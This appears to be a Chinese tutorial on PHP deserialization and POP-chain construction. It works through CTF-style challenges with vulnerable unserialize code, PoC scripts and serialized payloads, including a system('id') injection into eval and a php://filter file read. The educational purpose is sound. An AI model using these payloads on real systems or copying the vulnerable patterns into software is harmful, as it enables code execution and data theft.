目录
1、php面向对象基本概念、类与对象:http://t.csdnimg.cn/5fRcg
2、序列化与反序列化基础:http://t.csdnimg.cn/cZOZv
3、php反序列化魔术方法:http://t.csdnimg.cn/1piyM
系列文章:
1、php面向对象基本概念、类与对象:http://t.csdnimg.cn/5fRcg
2、序列化与反序列化基础:http://t.csdnimg.cn/cZOZv
3、php反序列化魔术方法:http://t.csdnimg.cn/1piyM
一、成员属性赋值对象
例题1
<?php
highlight_file(__FILE__);
error_reporting(0);
class index {
private $test; //$test=normal()
public function __construct(){
$this->test = new normal();
}
public function __destruct(){
$this->test->action(); //__destruct()从$test调用action()
}
}
class normal {
public function action(){
echo "please attack me";
}
}
class evil {
var $test2;
public function action(){
eval($this->test2); //可利用漏洞点,eval()调用test2
}
}
unserialize($_GET['test']); //反序列化触发__destruct()
?>
解题思路:找到可利用漏洞点,给$test2赋值(命令注入),通过eval()调用test2实现命令注入
分析题目:
1、反序列化触发__destruct()从$test中调用action()
2、正常情况下我们会new index(),但实例化触发__construct()导致new normal()
3、new normal()会导致__destruct()从$test中调用的action()是normal类中的,而我们要的是evil类中的action()
解决思路:给$test赋值为对象new evil()
注意:序列化只能序列化成员属性,不能序列化成员方法
法一:实例化对象index(),自动调用__construct()
<?php
class index {
private $test;
public function __construct(){
$this->test = new evil(); //成员属性$test=new evil()
}
// public function __destruct(){
// $this->test->action();
// }
//}
//class normal {
// public function action(){
// echo "please attack me";
// }
}
class evil {
var $test2 = "system('id');";
// public function action(){
// eval($this->test2);
// }
}
$a=new index(); //$a为实例化对象new index()
echo serialize($a);
?>
------------------------------------------
O:5:"index":1:{s:11:"%00index%00test";O:4:"evil":1:{s:5:"test2";s:13:"system('id');";}}
法二:直接调用属性test2
<?php
class index {
var $test;
// public function __construct(){
// $this->test = new normal();
}
// public function __destruct(){
// $this->test->action();
// }
//}
//class normal {
// public function action(){
// echo "please attack me";
// }
//}
class evil {
var $test2;
// public function action(){
// eval($this->test2);
// }
}
$a=new evil();
$a->test2="system('id');";
$b=new index();
$b->test=$a;
echo serialize($b);
?>
----------------------------------------
O:5:"index":1:{s:4:"test";O:4:"evil":1:{s:5:"test2";s:13:"system('id');";}}
由于原来的$test是私有属性所以需要手动在test前加上%00index%00
二、魔术方法的触发规则
魔术方法触发前提:魔术方法所在类(或对象)被调用
<?php
class fast {
public $source;
public function __wakeup(){
echo "wakeup is here!!";
echo $this->source;
}
}
class sec {
var $benben;
public function __toString(){
echo "toString is here!!";
}
}
$b = 'O:3:"sec":1:{s:6:"benben";N;}';
unserialize($b); //反序列化里的$b所调用的类sec里不包含__wakeup()故不触发__wakeup()
?>
---------------------------------------
//如果触发__wakeup()输出wakeup is here!!
例题2
<?php
class fast {
public $source;
public function __wakeup(){
echo "wakeup is here!!";
echo $this->source;
}
}
class sec {
var $benben;
public function __toString(){
echo "toString is here!!";
}
}
$b = $_GET['benben'];
unserialize($b);
?>
目标:显示wakeup is here!!toString is here!!
<?php
class fast {
public $source;
// public function __wakeup(){
// echo "wakeup is here!!";
// echo $this->source;
// }
}
class sec {
var $benben;
// public function __toString(){
// echo "toString is here!!";
// }
}
$a=new fast(); //实例化fast
$b=new sec(); //实例化sec
$a->source=$b; //将source赋值为$b
echo serialize($a); //在触发__wakeup()后执行echo从而触发__toString()
?>
--------------------------------------
O:4:"fast":1:{s:6:"source";O:3:"sec":1:{s:6:"benben";N;}}
三、pop链构造,poc编写
1、pop链
在反序列化中,我们能控制的数据就是对象中的属性值(成员变量),所以在php反序列化中有一种漏洞利用方法叫“面向属性编程”,即pop(Property Oriented Programming)。
pop链就是利用魔法方法在里面进行多次跳转然后获取敏感数据的一种payload.
通俗例子:小测考砸了->不想复习了->考不好->不想考试,其实最开始的目标就是不想考试但却用一堆方法来实现不想考试
2、poc编写
poc(proof of concept)中文译作概念验证。在安全界可以理解成漏洞验证程序。poc是一段不完整的程序,仅仅是为了证明提出者的观点的一段代码。
编写一段不完整的程序,以获取所需要的序列化字符串。
例题3
<?php
//flag is in flag.php
highlight_file(__FILE__);
error_reporting(0);
class Modifier {
private $var;
public function append($value)
{
include($value);
echo $flag; //目标:触发echo,调用$flag
}
public function __invoke(){ //__invoke()触发时机:把对象当成函数
$this->append($this->var); //触发__invoke()调用append,并使$var=flag.php
}
}
class Show{
public $source;
public $str;
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
echo $this->source;
}
}
class Test{
public $p;
public function __construct(){ //无用
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function(); //可能把对象当成函数使用的地方
}
}
if(isset($_GET['pop'])){
unserialize($_GET['pop']);
}
?>
方法:正向分析+反推法
目标:触发echo调用$flag
分析题目:
1、要触发echo需要触发append调用echo;要触发append需要触发__invoke()调用append
关联点1:触发__invoke(),触发时机:把对象当成函数使用
2、找到可能把对象当成函数使用的地方return $function(),$function被赋值为p,所以实则需要将p赋值为对象,且又要触发Modifier内__invoke(),所以$p=new Modifier(),但要将function()赋值为p则需要触发__get()
关联点2:触发Test中的__get(),触发时机:调用的成员属性不存在
3、找到Test中不存在的成员属性source,调用__wakeup()里的source触发echo,触发echo则触发__toString(),从而调用给$str再调用source,此时给$str赋值为new Test(),Test中不含有source触发 __get()
关联点3:触发Test中的__toString(),触发时机:把对象当成字符串调用
4、调用__wakeup()里的source触发echo,触发echo则触发__toString(),将$source赋值为new Show(),反序列化$source触发wakeup()
关联点4:触发__wakeup(),触发时机:反序列化unserialize之前
构造:
<?php
//flag is in flag.php
class Modifier {
private $var = 'flag.php';
// public function append($value)
// {
// include($value);
// echo $flag;
// }
// public function __invoke(){
// $this->append($this->var);
// }
}
class Show{
public $source;
public $str;
// public function __toString(){
// return $this->str->source;
// }
// public function __wakeup(){
// echo $this->source;
// }
}
class Test{
public $p;
// public function __construct(){
// $this->p = array();
// }
//
// public function __get($key){
// $function = $this->p;
// return $function();
// }
}
$test = new Test();
$mod = new Modifier();
$show = new Show();
$show -> source = $show;
$show -> str = $test;
$test -> p = $mod;
echo serialize($show);
?>
----------------------------------------
O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:" Modifier var";s:8:"flag.php";}}}
例题4
<?php
highlight_file(__FILE__);
error_reporting(0);
class Mod {
private $var;
public $name;
public function append()
{
include("key.php");
echo $flag; //目标:触发echo调用$flag
$this->name->source;
}
public function __toString(){
$this->append();
}
}
class Show{
public $source;
public $str;
public function __destruct(){
echo $this->source;
}
public function __wakeup(){
echo $this->source;
return $this->str->source;
}
}
class Test{
public $p;
public function __construct(){
$this->p = system();
}
public function __get($key){
$function = $this->p;
echo '<br>快了快了<br>';
return $function();
}
public function __invoke(){
echo '真的差一点点了<br>';
$this->so($this->p);
}
public function so($value)
{
include($value);
}
}
if(isset($_GET['pop'])){
unserialize($_GET['pop']);
}
?>
目标:触发echo调用$flag
1、要触发echo需要触发append调用echo;要触发append需要触发__toString()调用append;
关联点1:触发__toString(),触发时机:把对象当成字符串调用
2、找到可能触发__toString()的位置——Show里的echo $this->source或者是Test里的echo '<br>快了快了<br>'但是如果是Test里的最后会发现没法读取Mod里的key.php文件,故触发的是Show里的,读取到key.php后我们直接访问
<?php
class Mod {
private $var ;
public $name;
// public function append()
// {
// include("key.php");
// echo $flag;
// $this->name->source;
// }
// public function __toString(){
// $this->append();
// }
}
class Show{
public $source;
public $str;
// public function __destruct(){
// echo $this->source;
//
// }
// public function __wakeup(){
// echo $this->source;
// return $this->str->source;
// }
}
class Test{
public $p;
// public function __construct(){
// $this->p = system();
// }
//
// public function __get($key){
// $function = $this->p;
// echo '<br>快了快了<br>';
// return $function();
// }
// public function __invoke(){
// echo '真的差一点点了<br>';
// $this->so($this->p);
//
// }
//
// public function so($value)
// {
// include(;$value)
// }
}
$show = new Show();
$mod = new Mod();
$show->source = $mod;
echo urlencode(serialize($show));
?>
---------------------------------------------
O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A3%3A%22Mod%22%3A2%3A%7Bs%3A8%3A%22%00Mod%00var%22%3BN%3Bs%3A4%3A%22name%22%3BN%3B%7Ds%3A3%3A%22str%22%3BN%3B%7D
发现flag其实不在这个key.php文件需要读取cbcyl.php这个文件;此时就需要用到Test里的内容了,需要调用Test里的so需要触发__invoke();
关联点2:触发__invoke(),触发时机:把对象当成函数调用
3、找到可能把对象当成函数使用的地方Test里的return $function(),要触发__invoke()就需要触发__get();
关联点3:触发__get(),触发时机:调用的成员属性不存在
4、Test里不存在的属性有Show里的source和str和Mod里的name,由于前面已经用source触发了Mod里的name所以这里直接用source触发name来触发__get(),触发__get()后__invoke()触发调用p,将p赋值为php://filter/read=convert.base64-encode/resource=cbcyl.php读取cbcyl文件。
构造:
<?php
class Mod {
private $var ;
public $name;
// public function append()
// {
// include("key.php");
// echo $flag;
// $this->name->source;
// }
// public function __toString(){
// $this->append();
// }
}
class Show{
public $source;
public $str;
// public function __destruct(){
// echo $this->source;
//
// }
// public function __wakeup(){
// echo $this->source;
// return $this->str->source;
// }
}
class Test{
public $p = 'php://filter/read=convert.base64-encode/resource=cbcyl.php';
// public function __construct(){
// $this->p = system();
// }
//
// public function __get($key){
// $function = $this->p;
// echo '<br>快了快了<br>';
// return $function();
// }
// public function __invoke(){
// echo '真的差一点点了<br>';
// $this->so($this->p);
//
// }
//
// public function so($value)
// {
// include(;$value)
// }
}
$show = new Show();
$mod = new Mod();
$show->source = $mod;
$show->source->name = new Test();
$show->source->name->p = new Test();
echo urlencode(serialize($show));
?>
--------------------------------------
O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A3%3A%22Mod%22%3A2%3A%7Bs%3A8%3A%22%00Mod%00var%22%3BN%3Bs%3A4%3A%22name%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3Bs%3A58%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dcbcyl.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D
base64解码得到flag。
总结:
构造pop链首先要做的就是找到目标,接着使用倒推法分析代码逻辑,一个一个魔术方法的绕过其中可能有一些魔术方法是障眼法需要仔细甄别,还有像例题4一样的有两个文件(一个文件被隐藏)的就需要多尝试一个一个文件的读取。
技巧(一般题目):
1、目标:echo $flag
2、文件:$value = flag.php
3、__toString():找echo
4、__invoke():找return $***();
5、读取文件:php://filter/read=convert.base64-encode/resource=[文件名]。